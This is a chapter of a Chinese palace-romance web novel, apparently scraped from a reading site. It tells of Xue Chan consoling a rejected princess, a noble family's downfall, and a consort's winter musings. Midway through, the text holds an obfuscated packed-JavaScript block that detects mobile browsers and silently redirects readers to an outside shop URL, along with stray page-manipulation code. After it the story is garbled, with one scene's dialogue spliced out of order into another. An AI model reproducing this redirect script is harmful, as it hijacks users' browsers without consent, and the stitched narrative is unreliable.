123读书网 > 玄幻小说 > 且团圆 > 94.旧事尽
    薛婵也没想到裕琅直接就拉着她出宫,到公主府喝酒。


    两人在暖阁里推杯换盏。


    起初,裕琅还只是默然斟酒,默然喝。


    酒过三巡.......


    “啊啊啊啊啊啊啊啊啊啊”


    “我身为公主,出类拔萃,他凭什么拒婚!”


    裕琅全然不顾形象,将手里的酒杯“嘟嘟嘟”敲在桌上。她已然醉了,摇摇晃晃去斟酒,酒杯从她手里脱落。


    薛婵才饮了酒,立刻伸手,接住了从桌边滚落的杯子。


    她自己给自己斟酒,饮了之后挑眉,觉得公主府的酒真不错。


    “那您喜欢他吗?”


    裕琅撇撇嘴,开始掉眼泪:“喜欢啊,我就没那么喜欢过一个人,他居然当着父皇的面拒婚!”


    薛婵又酌了口酒,托脸淡淡道:“既然如此,那您把他抢过来呗。”


    她抽抽噎噎地继续开口:“就算抢过来,他不喜欢我,还是不喜欢我啊。那两个人待在一起,就只剩不开心。”


    裕琅醉醺醺的,找了半天没找到帕子,干脆揪着薛婵的衣袖擦眼泪。


    “再说了,我就没干过夺人所爱的事儿!本公主金尊玉贵,为什么要做这种事情。”


    薛婵道:“您都这样想了,那就干脆放手呗。”


    “我不甘心!我到底哪里不好了,他竟然犹豫都不带犹豫地拒绝了。”


    “这是好事不是吗?”


    裕琅擦眼泪的一顿,睁大眼睛,不可置信。


    “我就知道,说出来你肯定要笑话我!”


    薛婵抽回自己衣袖,取了丝帕给她擦眼泪:“我没笑话您。”


    裕琅一把夺过帕子,自己擦,随即哽咽道:“本公主被瞧不上,你还觉得是好事。”


    薛婵无奈笑了笑,问她:“听说沈大人的妻子与他青梅竹马,二人父母皆逝,是相互扶持着长大的。若是他真的为求殿下与陛下的欢心而抛下未婚妻,难道您会喜欢吗?”


    裕琅一拳捶在桌上。


    “若他真这样做,如此负心薄情之人,我一定先让爹爹砍了他的狗头!砍不掉,那就贬得远远的!”


    薛婵抱臂置桌:“可他没有啊,说明此人品行坚贞,证明殿下的眼光很好,一眼就挑了个好的。这难道不是好事吗?”


    裕琅一下子就松下来,她脑子有些糊糊的,想了一会儿又道。


    “可我,还是不甘心。我就是不甘心他看不上我。”


    薛婵扑哧笑出声。


    裕琅又拽着她的衣袖哭了一会儿,也不知道是累了还是醉了,趴在桌上没起来,只有浅浅的抽泣声。


    薛婵轻轻抽出自己的衣袖,斟了杯酒慢悠悠饮下,这才唤人过来扶走她。


    待到那一壶极好的酒见底,薛婵才离开公主府。


    回去时已至晚间。


    算算日子,已经十一月末,连那芭蕉都焦黄卷边。


    江策已经离开了大半个月。


    薛婵坐在灯下,慢慢整理着画卷残页。她惦记着程家的事情,心有不安。


    “云生。”


    “来了。”云生停下给喜团年年梳毛擦拭的手,走过来。


    薛婵沉默了一会儿,正色道:“你明日早,着人去躺程家,问我爹是个什么情况。”


    云生接了她的手书递出去。


    第二日中午,薛承淮的回信到了薛婵手中。


    她急急忙忙拆开看,纸上只有八个字。


    “一切顺利,安好勿念。”


    云生坐在薛婵身边,轻声道:“程大公子请求彻查同州案不久,沈大人就向陛下呈了沈淑妃母家的罪证。”


    “是沈柘沈大人?”


    云生点点头,又道:“似乎,还跟老大人治水时被坍塌河堤砸断腿一事有关......”


    薛婵捏着信,没有说话。


    日子一天天过去,江策还是没有回来。


    他只送了几封信,其余的就是许多不知道那淘来的小东西。


    薛婵从各处零零碎碎的消息里慢慢拼凑。


    沈柘转告沈淑妃母家一事起了个头,牵连出几年前其子醉酒踏死百姓、侵占田地,打杀百姓,建造河堤偷工减料致使云阳河堤坍塌。


    甚至,还有勾结宁王拐卖妇孺之事.......


    天一点点冷下来。


    里头外头忙忙碌碌,江策没回家,江籍忙得回不了家。


    因郑檀有孕,所以备年的事情是薛婵帮着安排筹备。


    等到她暂且能稍稍得闲的时候,已经十二月中了。


    再过小半个月,就要过年了。


    云生和初桃莹月几个人带着小丫头们,给小院子挂灯、贴窗花、贴福,甚至还给喜团年年它们做了新的衣裳。


    十二月二十五这日,薛婵进了趟宫。


    其实薛贵妃每回召她也都没什么大事,但薛承淮不能得见,只能见见她。


    日午,她和薛贵妃在暖阁里画画。


    画了一半,蕴玉轻手轻脚进来,在薛贵妃耳边悄声道:“娘娘,延庆宫那位,没了......”


    墨滴在纸上,那一张画好的墨兰就这样因此毁了。


    薛贵妃将画揉成一团丢出去,起身走到外头。


    此时下着雪,雪花纷纷扬扬,唯有廊庑下的一株梅花静静吐香。


    她走了两步,裙摆卷起风雪梅瓣。


    薛贵妃低着头,喘了喘气,问道:“上个月才被软禁.......”


    蕴玉亦低着头,声音在簌簌声中有些含糊不清:“是陛下......”


    风雪吹得薛贵妃的脸红了一些,她轻声喃喃:“居然就这样结束了,可是我觉得好累呀。”


    她还要在这宫里,熬上一辈子呢。


    风猛地卷起,卷落一天大雪。


    薛贵妃不禁颤了颤,觉得冷极了。她认真问蕴玉:“你说,我会不会......也有这样一天?”


    她这样问,蕴玉颇为惊骇,忙道:“娘娘,可别说这样的话呀。”


    暖隔里传来一阵薛婵与裕琅的说笑声。


    薛贵妃恍若梦醒,那吹在身上的冷风冰雪让她清醒了一些。她盯着那开在霜雪中的梅花,定定道:“我一定,要好好地,长长久久地活下去。”


    不多时,有宫娥上前道:“娘娘,陛下移驾福宁殿了。”


    薛贵妃伸手拂去鬓上沾染的雪花,那张脸浮出笑意来,显得还是那样姿容华灿。


    “都好好准备接驾吧。”


    她步履轻盈,窈窕的身影慢慢走过廊,风雪愈盛就渐渐看不清了。


    雪落青枝,沉重低压。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16791108|176526||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    薛婵提起笔,画完了那幅《雪竹》。


    “画完了是吧,给我瞧瞧你的大作。”裕琅坐在窗下,抬起下巴,勾勾手。


    薛婵恭恭敬敬地把画递到她手上。


    外头下着雪,薛婵就在暖阁里和几个宫人给薛贵妃画花样子。


    见薛婵装作未闻未知的样子,她凑近她,轻声道:“那一日的事情.......”


    薛婵眨眨眼,很是茫然道:“殿下说什么?那日咱们只是喝酒,喝到我都醉了,还是您的宫人送我回去的呢。”


    裕琅挑眉,微微勾唇:“对,就是这样。”


    薛婵忍不住笑,道:“殿下是公主,千娇万宠出来的公主。只有您看不上别人的,哪有别人看不上您的。”


    她这样说,裕琅又觉得好受了些。


    她又继续哄她:“更何况,您姿容绝世,又当妙龄,何必愁没有驸马呢。莫说一个驸马,就算十个百个的,想来陛下也不会说什么。”


    裕琅觉得这话很有道理,但是从薛婵嘴里说出来怪怪的。


    “你这话说的,倘若你是公主,怕不会爱这样干吧?”


    薛婵淡淡饮下一杯酒:“可我不是公主啊。”


    裕琅:“对,只是因为你不是公主而已。”


    “我要告诉江泊舟。”她挑眉。


    薛婵道:“殿下不告诉他,我也不把在暖阁的事说出去,这不是对咱们都好的事情吗?”


    裕琅抬起下巴:“我是公主,你敢说出去?”


    “我确实不敢。”薛婵叹了口气,详装忧虑,“可我和他是夫妻呀,是要过很久很久的。他如果逼问我,那我只能说咯。”


    裕琅看着那两壶已尽的酒,认真思索了一下。


    看在她陪自己喝酒的份上。


    “好吧,我不告诉他,你也不许说出去。”


    薛婵与她继续碰杯。


    “好”


    薛婵低头忍笑,问她:“殿下,是想开了?”


    裕琅闲懒倚坐,那张扫眉点唇的玉面一笑,更容光可鉴了。


    “我的心就没有关过。”她抽出薛婵手里的笔,在另一张纸上勾画,“不过你有一句说得不错,只有我看上别人的份儿,而被我看得起,那是他们的荣幸。”


    “啪!”她把笔置笔搁上,长裙一甩,逶迤而去。


    薛婵含笑收起她的画。


    “对了”不多时,裕琅又进来,居高临下道:“看在你陪我喝酒的份儿上,我就好心告诉你,江泊舟这两日要回京的消息吧。”


    她抱臂,弯下腰,一张脸骤然凑到薛婵面前:“他这回可是立了大功,父皇高兴着呢。”


    薛婵才要开口说什么,她就已经轻轻飘出暖阁了。


    等到出宫的时候,已经腊月二十八。


    薛婵默默算着,还有两天,就除夕了。


    她坐在窗下头看初桃做针线,看她和云生理线,裁布,缝衣。


    薛婵抱着喜团,云生抱着年年,初桃拿尺量着尺寸。


    等小衣裳都做完时,还剩下许多碎布。


    薛婵从篮子里抓着一把布,眼珠子一转,计上心来。


    等到初桃按照她说的做完之后,已经是三十了。


    云生瞧薛婵在那无声笑起来,摇摇头无奈和喜团说话:“又起坏心了。”